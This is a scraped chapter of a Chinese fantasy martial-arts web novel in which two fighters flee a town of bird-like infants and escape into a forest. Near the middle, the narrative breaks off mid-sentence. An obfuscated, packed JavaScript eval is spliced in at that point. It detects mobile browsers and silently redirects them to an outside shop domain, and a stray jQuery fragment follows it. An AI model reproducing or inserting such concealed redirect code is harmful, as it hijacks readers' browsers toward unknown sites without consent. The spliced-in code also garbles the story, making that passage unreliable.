文趣网 > 都市小说 > 江湖不寂寞 > 4. 逃跑
    白衣人还有心思纠正她的用词错误:“是另有其魋。”

    紧要关头就不要讲冷笑话了吧……

    谢勺无力地瞪他一眼,握着截云剑后退半步,脚尖向外。

    强烈的第六感叫嚣着这里危险,必须立刻离开,能跑多快就跑多快!

    天上突然炸起一声似鸟非鸟的啼叫,如同收到指令般,方才还甜甜蜜蜜睡在梦乡里的小魋突然兴奋地打开喙,喷出阵阵嘶哑难听的叫声,周遭越来越多的声音加入,堪比一支由断弦琵琶和高音唢呐合奏的丧曲。

    一瞬间,祥云镇像是活了过来。

    这和刚才男人口中发出的凄厉惨叫完全不同,小魋们的叫声中似乎包含某种精神攻击的效果,一时之间,谢勺只觉眼前昏花,嗡嗡的响声在脑海中激荡。

    白衣人的眸中终于沾上几分凝重,显然也没好受到哪里去。

    谢勺果断咬下舌尖,借着刺痛带来短暂的清醒环视一周。

    再回到房顶吗?

    谢勺迅速否决。

    不,目标太大了。

    祥云镇内除了房子就是房子,连花草树木都稀疏得可怜,能做遮挡的东西太少,这时候跳上空旷的地方,无异于羊入虎口,还是自己洗干净跳进去的。

    撤是必须要撤的,往哪里撤却是个大问题。

    就在纠结的时候,遥远东方突然传来一声悠长的梆子声。

    “公鸡叫早——公鸡叫早——”

    “雀神送喜!”

    屋内的老妇似有所感,把襁褓放到床边,脚步向外走,脸上已经带上欢欣雀跃的神情。

    来不及想太多了!

    她迈出房门的瞬间,谢勺和白衣人俱是一撑窗沿,破开窗纸跳入屋内,纸碎的窸窣声压在梆子声下,没有惊动任何人。

    桌上的红烛兀自摇曳着,燃了半夜,烧化的烛泪溢出烛台,升起一道迤逦的白烟。

    这房子看着大,摆放的东西却不多,几个大件家具虽然看得出材质、制作手艺都不错,但都明显上了年头,住在这里的人显然并不爱惜它们,尤其是一些木头制品,虫蛀的虫蛀,落灰的落灰,上面还有坑坑洼洼的痕迹。

    谢勺握紧了剑柄,屏住呼吸,脚步放得极轻。

    很快她发现,这番动作倒像显得她疑心病太重,床上刚生产完的男人半死不活,襁褓里的婴儿眼睛还未睁开,欢快地唱着歌,谁都没有注意到屋内多了两位不速之客。

    小魋的叫声混在此起彼伏的大合唱里并不起眼,但仅仅是往它的方向走了几步,谢勺就感觉自己本来还算清明的脑子开始变得混沌。

    强烈的眩晕感让她不得不再次咬下舌尖,直到品尝到血腥味,才觉得缓过来了一点。

    旁边的白衣人怡然自得地打量着屋内陈设。

    如果不是身穿夜行衣,脸上也蒙着黑布,那悠哉悠哉的姿态活像哪家公子哥在逛自家新修好的园子。

    谢勺破了皮的舌头更痛了,甚至开始怀疑自己。

    难道真应了老头说的,自己的功夫还没到家、意志力太过薄弱、心性莽撞难堪大用……不然的话,那白衣人看起来和自己年纪相差不大,为什么看上去却比她游刃有余多了?

    察觉到她的视线,白衣人看过来,似乎知道谢勺在想什么,慢条斯理地从小袖里掏出一个香囊。

    一股似花香似木香的气味悠悠传来,让人闻之灵台一清。

    谢勺瞬间想起,初见时男人捂她嘴的时候,她闻到的便是这个味道。

    怕她来抢似的,白衣人迅速把香囊塞了回去,没被面巾挡住的半张脸上眼睛弯了弯,露出了一个腼腆的笑容。

    谢勺:“……”

    挂逼!

    亏她还以为那香味是什么体香!

    香囊被他收回去之后,空气中的香味立刻变淡了,能如此强效地阻断气味,那身锦袍应该也不是凡物。

    这也在谢勺意料之中,她有师父给的敛息符,以此为倚仗才敢孤身探查祥云镇,别人肯定也有自己的手段防身,不然怎么解释他为什么要穿着白衣服行鬼祟之事,总不能是他天性风骚吧,黑灯瞎火的,正常人都穿夜行衣好不好!

    不再浪费时间,谢勺俯身靠近小魋。

    刚才在房子外面的时候已经看得很清楚,这婴儿尖喙、食虫,有极明显的鸟类特征,近看仍叫谢勺牙酸了一下。

    小魋的胳膊还是人类的样子,手臂外侧光滑,下缘却长着一层细软的绒毛,小手有力地在空中抓着,仿佛随时会变成翅膀飞走,眼皮是半透明的肉色,密布着青色的血管,隐隐能看见深黑的眼珠。

    祂明明闭着眼睛,谢勺却有一种正在和谁对视的错觉。

    俯身捏了捏胖孩子的手腕,确定它是真的弱,不是装的弱之后,谢勺对它暂时失去了兴趣,转而去观察床上的男人。

    男人早就出气多进气少,生产后的肚子皮肉分离,松弛地耷拉着,即使不知名的力量让伤口极速愈合,肚皮正中依然留下一个婴儿拳头大小的猩红伤疤,骇人极了。

    谢勺用剑柄戳了他几下,又扯了扯他的头发,男人一声不吭,什么反应都没给。

    确定他也是真的弱,不是装的弱之后,谢勺对屋子里的所有活物都失去了兴趣。

    白衣人看够了室内的装潢,凑上前来,在小魋的身上不知捣鼓了什么。

    孩子欢乐的叫声突然中断,变成一声惊恐的“嘎”,谢勺还没注意到异常,欢乐的叫声已经再次响起来了,等谢勺看过去的时候,只对上白衣人无辜的眼睛。

    谢勺:“……”

    算了算了。

    此时屋外。

    浑然不知自己家遭贼了的老妇,终于意犹未尽地结束了和更夫的热聊。

    谢勺耳廓微动,手脚放轻,以极快的动作把翻过的东西放回原位,贴着墙壁屏息。

    一阵诡异的沉默后,只听见更夫高声唱道:

    “一祝春回柳叶,万事顺心;

    二祝好事连连,富贵满家;

    三祝多子多福,人丁兴旺——”

    “雀神送喜——!”

    唱和声一句比一句高,一字比一字更尖利,像细小的针雨,又像一排绷紧到极限、摇摇欲坠的琴弦,待人用指甲在上面拨弄,便要挣扎着断开,把人鞭出血一般!

    伴随着老妇喜极而泣的大笑,一时之间,更夫高亢的声音竟压过了此起彼伏的鸟鸣。

    谢勺灵台剧震,霎时间汗如雨下,身体歪斜,用剑柄狂戳白衣人手臂,挤眼睛示意:“快,那个,快把那个拿出来!”

    从未见过如此不见外之人的白衣人:“……”

    无奈了一瞬,他还是掏出了香囊。

    重新闻到那股沁人心脾的香气,谢勺苍白的脸色渐渐好转。

    老妇擦去眼泪,告别更夫。

    听到那些祝词后,她宛如汲取了什么力量,身体里骤然焕发新的春天,老年人的腐朽之气一扫而空,沉重的脚步变得轻盈,转过身往屋内走。

    而就在她跨过门槛,迈入房间的瞬间。

    谢勺眼神凛冽,手撑着窗沿一跳,顺着进屋时在窗纸上留下的人形大洞,逃之夭夭!

    白衣人的速度也不慢,两人看都没看对方一眼,提气呼出,转眼间把轻功运用到了极致,双双跃上屋顶,腿和装了风火轮一样,开始在祥云镇的上空玩命狂奔。

    天边已经亮起了一线黎明前的曙光,小半个天空被染成黄色,和依旧黯淡的夜空交融着,却没人有心情欣赏这副美景。

    谢勺的身法快且轻,白衣人的身法飘且仙,一会儿你追我,一会儿我追你,把高高低低的房顶踩得尘土飞扬,两人的身影逐渐变成黑点,嗖嗖得便看不见了。

    似乎没想到合家欢的场合里会突然多出两个陌生人,也想到这俩人会用如此光明正大的方式逃命,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795213|210500||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    整座祥云镇的尖叫魋都呆住了。

    没等谢勺松口气,翻山倒海般的叫声再次响起,无比愤怒的音浪响彻天地。

    与此同时,一种被强大存在锁定的感觉笼罩了全身。

    谢勺身形踉跄了一瞬,即刻被白衣人抓住机会,锦袍轻飘飘越过她,头也不回地往南边去了。

    靠!

    下回看见师父,非得求他送我件精神防御类的法器不可!

    谢勺咬着牙,绝境之下爆发潜能,两年没进步的步法竟突破了,脚下的节奏重新变得圆融,再次追上白衣人,大喝一声:“朋友,你为什么非要跟着我?”

    白衣人:“我也想问姑娘,为何不选另一边走?”

    谢勺:“我寻思有个垫背的,你呢?”

    白衣人:“我的理由有违君子道义。”

    谢勺:“是什么?”

    白衣人:“跑得慢的垫背。”

    谢勺一口气提到嗓子眼,唰得就超过了他。

    祥云镇的南边是一座幽深的密林,看着也不像什么好地方,此刻逃命要紧,也管不了那么多。

    刚出生的小魋没有近战能力,声波攻击对她有一定程度的影响,咬咬牙也能扛住,至于藏在镇子里的大魋……

    谢勺隐隐预感到,它似乎没有把外来者放在眼里,连那道锁定她的威压都带了点漫不经心的意味。

    轻敌好啊,谢勺最喜欢轻敌的人了。

    几息之后,祥云镇的边界近了,谢勺不敢懈怠,唯恐最后关头被留住,步伐不仅不慢,隐隐又提了速。

    白衣人这时却主动开口:“姑娘好身法!这轻功看似朴实无华,实则诡谲多变,颇有返璞归真、大道至简之意,不知是哪门绝学?”

    谢勺:“走为上计。”

    白衣人:“识时务者为俊杰,道理我亦是懂得……”

    跑出来了!

    谢勺心头狂喜,脚步根本不带停的,一头扎进密林中,踩着树杈埋头狂奔,吼道:“我是说,轻功名字叫走为上计!”

    白衣人:“……”

    这轻功名字倒不是谢勺胡诹的,谁让师父传给她的时候就再三强调,此乃师门秘技,绝不可随意改名,显然在她之前已有多位前辈想要行欺师灭祖之事……

    谢勺不敢歇息片刻,继续往前跑了大概十里地才停下。

    回头望去,树枝掩映之间,视野里已经看不到祥云镇,那种被大魋锁定的感觉也消失了。

    谢勺用手背擦去流到侧脸的汗珠,转过身,高高扎起的马尾跟着晃了晃,无力道:“你怎么还跟着我呢?”

    “这边风景独好,”白衣人的状况也没好到哪去,湿透了的碎发黏在额头上,锦袍上落满了草叶子和树杈子,喘了会儿才回答:“而且,姑娘不是说了我们是朋友?”

    逃跑的时候随口甩的称呼也能当真吗?

    谢勺都不想问他任何问题了。

    低头检查装备,截云剑好好地挂在腰测,铜盘表没落下,行囊里的干粮、银钱和给王师叔的信还在,满意地点点头。

    最后内视丹田,白火依旧装死,小小的一簇正颤颤巍巍地躲在里面,她顿时失望地叹了一口气。

    唉,这个怎么也还在……

    听到她叹息,白衣人闻声看来:“怎么了?”

    谢勺随意应道:“没事。”

    抬眼却发现,白衣人不知什么时候摘下了面巾,初升的日光穿过树杈,给那张脸镀了一层金边。

    他正不设防地注视着她,细肤,长眉,薄唇偏粉,一双春水似的狭目,容貌俊美,大约弱冠的年纪,叫人见了便心生好感,忍不住想要亲近。

    就连谢勺这样不以貌取人的人,都不禁晃了下神,忍不住在心里赞了句人面兽心!

    男人自然不知道她心里是怎么想的,或者说猜到了她的想法也不在意,温声问道:“在下沈逸飞,敢问姑娘姓名。”